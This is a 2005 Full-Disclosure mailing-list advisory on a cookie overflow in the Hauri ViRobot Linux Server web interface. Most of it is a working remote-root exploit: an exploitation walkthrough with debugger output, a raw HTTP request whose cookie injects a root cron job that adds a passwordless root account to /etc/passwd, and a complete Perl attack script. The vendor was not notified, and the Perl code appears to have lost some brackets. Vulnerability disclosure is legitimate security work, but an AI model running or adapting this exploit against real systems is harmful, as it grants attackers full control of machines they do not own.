[Full-disclosure] DMA[2005-0614a] - 'Global Hauri ViRobot Server cookie overflow'

From: KF (lists) (kf_lists_at_digitalmunition.com)
Date: 06/15/05

  • Next message: pokley: "[Full-disclosure] Mambo SQL Injection in UPDATE statement"
    Date: Wed, 15 Jun 2005 02:26:25 -0400
    To: full-disclosure@lists.grok.org.uk


    DMA[2005-0614a] - 'Global Hauri ViRobot Server cookie overflow'
    Author: Kevin Finisterre
    Vendor: http://www.globalhauri.com
    Product: 'ViRobot Linux (and Unix?) Server'

    HAURI, Inc. is a leading anti-virus solution provider in the global market.
    The "ViRobot" which was developed exclusively by HAURI, is an excellent and
    powerful anti-virus that uses a unique type of detection engine technology
    to detect the latest viruses and to repair files infected with those viruses.
    The HAURI anti-virus technology is regarded highly in Korea and has received
    rave reviews from all over the world.

    HAURI has a customer base in multiple parts of the world:
    US & Canada : Global HAURI Inc. - http://www.globalhauri.com
    Singapore : HAURI ASIA Pte Ltd. - http://www.hauri.com.sg
    Japan : HAURI JAPAN Inc. - http://www.hauri.co.jp
    China : China Blue Star Hauri Technology Co., Ltd. - http://www.hauri.com.cn
    Latin/Mexico : HAURI Latinoamerica S.A. - http://www.haurilatin.com
    Latin/Brazil : Hauri do Brazil - http://www.haurilatin.com
    Europe : Hauri Europe GmbH - http://www.hauri-europe.com
    Korea : HAURI Inc. - http://www.hauri.co.kr

    HAURI, Inc. is also a GSA Schedule compatible company.

    Our testing was performed against the 60 Day ViRobot trial located at:
    b37ae48a9c46985a753f5d28588753c2 /home/kfinisterre/linux_eng_60days.tar.gz

    Both ViRobot Unix Server and ViRobot Linux Server have a user-friendly web-based
    control interface. Access control is built into the system to ensure that only
    authorized personnel can have control of the server. Unfortunately the system
    makes use of cookie based authentication in an insecure manor.

    During our trial run we found that the /usr/local/ViRobot/cgi-bin/addschup binary
    is vulnerable to a trivial remote expoit. In order to explain the bug we can make
    use of multiple exported variables to simulate a remote request. Below we show
    the environmental conditions necessary to exploit addschup remotely.

    The fact that addschup is setuid helps make this both a local and remote root.
    jdam:/usr/local/ViRobot/cgi-bin# ls -al addschup
    -rwsr-sr-x 1 root staff 26484 2005-01-05 01:30 addschup

    We need to set the following variables in order to behave as if a browser request
    was made.
    kfinisterre@jdam:/tmp$ export REMOTE_ADDR=
    kfinisterre@jdam:/tmp$ export REQUEST_METHOD=POST
    kfinisterre@jdam:/tmp$ export CONTENT_TYPE=application/x-www-form-urlencoded
    kfinisterre@jdam:/tmp$ export CONTENT_LENGTH=1
    kfinisterre@jdam:/tmp$ export PATH=$PATH:/sbin:/usr/sbin

    At this point the cgi binary should run however it will complain that we have
    not authenticated.

    <font size=2>You need to authenticate.</font>

    >From the usage of ltrace we found that the request for authentication is checked via
    a cookie with the paramaters "ViRobot_ID" and "ViRobot_PASS". The ViRobot_PASS is
    optional for exploitation. For the time being setting the ViRobot_ID to a string of
    36 chars should work just fine.

    kfinisterre@jdam:/tmp$ export HTTP_COOKIE=ViRobot_ID=<36 chars>

    Because we set out CONTENT_LENGTH to 1 earlier we must send at least one char to the
    stdin of the addschup binary. When addschup is satisfied with all environment of the
    variables and the input from stdin it will attempt to create a crontab file for root.
    Since we are running the program as a regular binary rather than as a cgi the output
    html that the web browser should recieve is dumped to the terminal.

    kfinisterre@jdam:/usr/local/ViRobot/cgi-bin$ echo a | ./addschup

    <BODY bgcolor=#FFFFFF text=#000000>
    <META HTTP-EQUIV="REFRESH" CONTENT="0; url=/cgi-bin/schupdate">

    In the above example we chose to use a ViRobot_ID of 36 chars. We did this in order
    to outline the basis of the vulnerability. As mentioned above addschup attempts to add
    the scheduled update to roots crontab in /var/spool/cron/root. Unfortunately the
    author of ViRobot made use of a small buffer to hold the username from the cookie data.
    Because of this some of our userinput has spilled over into the buffer that is supposed
    to contain the entry that will be placed in the crontab file. The result as you can see
    is a string of four A's in roots crontab just before the vrupdate command.

    The above example causes a root crontab entry with malicious userinput.
    kfinisterre@jdam:/usr/local/ViRobot/cgi-bin$ cat /var/spool/cron/root
    * * * * * AAAA/ViRobot/vrupdate -s > /dev/null 2>&1

    The below output from gdb outlines the usage of a small 32 byte buffer to store the user
    name for ViRobot. The data stored in the username variable comes from the HTTP_COOKIE's
    ViRobot_ID field, if this data is longer than 32 chars it will wind up bleeding over
    into the install_path variable.

    This is an example of a valid username stored in the username buffer:
    0x8052e00 <username>: "virobotadmin-aaaaaaaaaaaa"
    0x8052e1c <username+28>: ""
    0x8052e1d <username+29>: ""
    0x8052e1e <username+30>: ""
    0x8052e1f <username+31>: ""
    0x8052e20 <install_path>: "/usr/local"

    This however shows an overflown username bleeding into the install path.
    0x8052e00 <username>: "virobotadmin-aaaaaaaaaaaa", 'A' <repeats 183 times>...
    0x8052ec8 <install_path+168>: 'A' <repeats 200 times>...

    Overflowing the install_path alone is not enough for exploitation. Lucky for us the
    install_path is used later on as a prefix for the crontab entry. This data shows what the
    cron entry looks like both before and after the overflow of the username field.

    0x8052f70: "p\025@p\025@* /usr/local/ViRobot/vrupdate -s > /dev/null 2>&1\n"

    0x8052f70: "p\025@p\025@* AAAAA/ViRobot/vrupdate -s > /dev/null 2>&1\n"

    In essence what happens is that We control the 6th paramater passed to an fprintf call
    that uses the following format.
    0x804a740 <_IO_stdin_used+572>: "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null 2>&1\n"

    Controlling the data that is written to roots crontab obviously gives us some flexibility
    for exploitation. Unfortunately we do not have any control over some of the crontab data
    however this does not pose any issue when exploiting the condition.

    After writing the data to /var/spool/cron/root virobot executes the following commands:
    killall crond > /dev/null
    /etc/rc.d/init.d/crond restart > /dev/null

    If we combine the fact that we can write to roots crontab with the fact that this can all
    be done remotely we wind up with a nice exploit.

    The above malformed queries can simply be sent via http with the following request:
    POST /cgi-bin/addschup HTTP/1.1
    Host: localhost:8080
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
    Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    Content-type: application/x-www-form-urlencoded
    Content-length: 1
    Cookie: ViRobot_ID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &

    The logs on the host being attacked will resemble the following:

    in /usr/local/ViRobot/var/apache/access_log: - - [23/Jan/2005:16:51:00 -0500] "POST /cgi-bin/addschup HTTP/1.1" 200 149

    in /var/log/messages:
    Jan 23 16:51:00 localhost crond: crond startup succeeded

    in /var/log/cron:
    Jan 23 16:21:44 localhost crond[1779]: (CRON) STARTUP (fork ok)
    Jan 23 16:21:45 localhost anacron[1788]: Anacron 2.3 started on 2005-01-23
    Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.daily' in 65 min.
    Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.weekly' in 70 min.
    Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.monthly' in 75 min.
    Jan 23 16:21:45 localhost anacron[1788]: Jobs will be executed sequentially
    Jan 23 16:50:59 localhost crond[2317]: (CRON) STARTUP (fork ok)
    Jan 23 16:51:00 localhost CROND[2322]: (root) CMD (/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
    /ViRobot/vrupdate -s > /dev/null 2>&1)
    Jan 23 16:52:00 localhost CROND[2372]: (root) CMD (/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
    /ViRobot/vrupdate -s > /dev/null 2>&1)

    in /etc/passwd (per our example).
    Keep in mind that output will be added every minute cron runs unless the attack has been cleaned up.

    This has been tested on the default version of Redhat 9 with vixie-cron-3.0.1-74 and Debian 3.1 with
    cron-3.0pl1-86. The redhat system was exploited instantly. With debian however the cron package makes
    use of /var/spool/cron/crontabs/ which prevents the malformed crontab from being executed. Debian users
    with ViRobot may have made their system exploitable in efforts to have full functionality. This could have
    been done via "ln -s /var/spool/cron/root/ /var/spool/cron/crontabs/root".

    Please note that the addschup is not the only binary that overflows via the above mentioned method. We
    found that addschup provided the best remote exploitation. Other binaries may provide other local or remote
    attack vectors.

    Work Around:
    Chmod -s every virobot binary in sight and filter remote access to the web interface.

    Timeline associated with this bug:
    Wed, 14 Mar 2005 Tired of sitting on the information, public disclosure.

    Please note that the vendor was NOT notified based on prior frustrating disclosure attempts.
    After the release of SRT2003-08-11-0729 (via SnoSoft) I made the decision to not deal with the company
    moving forward.

    Thanks to Alex Hernandez for turning me on to this product and the fact that it is full of bugs!


    # ViRobot 2.0 remote cookie exploit - ala addschup
    # copyright Kevin Finisterre kf_lists[at]digitalmunition[dot]com
    # jdam:/home/kfinisterre# ls -al /var/spool/cron/root
    # ls: /var/spool/cron/root: No such file or directory
    # jdam:/home/kfinisterre# ls -al /var/spool/cron/root
    # -rw-r--r-- 1 root staff 104 2005-01-23 14:43 /var/spool/cron/root
    # We control the 6th paramater passed to an fprintf call.
    # 0x804a740 <_IO_stdin_used+572>: "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null 2>&1\n"
    # * * * * * /bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &/ViRobot/vrupdate -s > /dev/null 2>&1

    use IO::Socket;
    $hostName = $ARGV[0];

    $sock = IO::Socket::INET->new (
                    Proto => "tcp",
                    PeerAddr => $hostName,
                    PeerPort => 8080,
                    Type => SOCK_STREAM

    if (! $sock)
            print "[*] Error, could not connect to the remote host: $!\n";
            exit (0);

    $target = "/cgi-bin/addschup";
    $crondata = "/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &";
    $postbody = "POST $target HTTP/1.1\n" .
    "Host: localhost:8080\n" .
    "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5\n" .
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n" .
    "Accept-Encoding: gzip,deflate\n" .
    "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" .
    "Keep-Alive: 300\n" .
    "Connection: keep-alive\n" .
    "Content-type: application/x-www-form-urlencoded\n" .
    "Content-length: 1\n" .
    "Cookie: ViRobot_ID=" . "A" x 32 . "$crondata\n";

    print $sock $postbody;
    close ($sock);
    exit (0);


    Full-Disclosure - We believe in it.
    Charter: http://lists.grok.org.uk/full-disclosure-charter.html
    Hosted and sponsored by Secunia - http://secunia.com/

  • Next message: pokley: "[Full-disclosure] Mambo SQL Injection in UPDATE statement"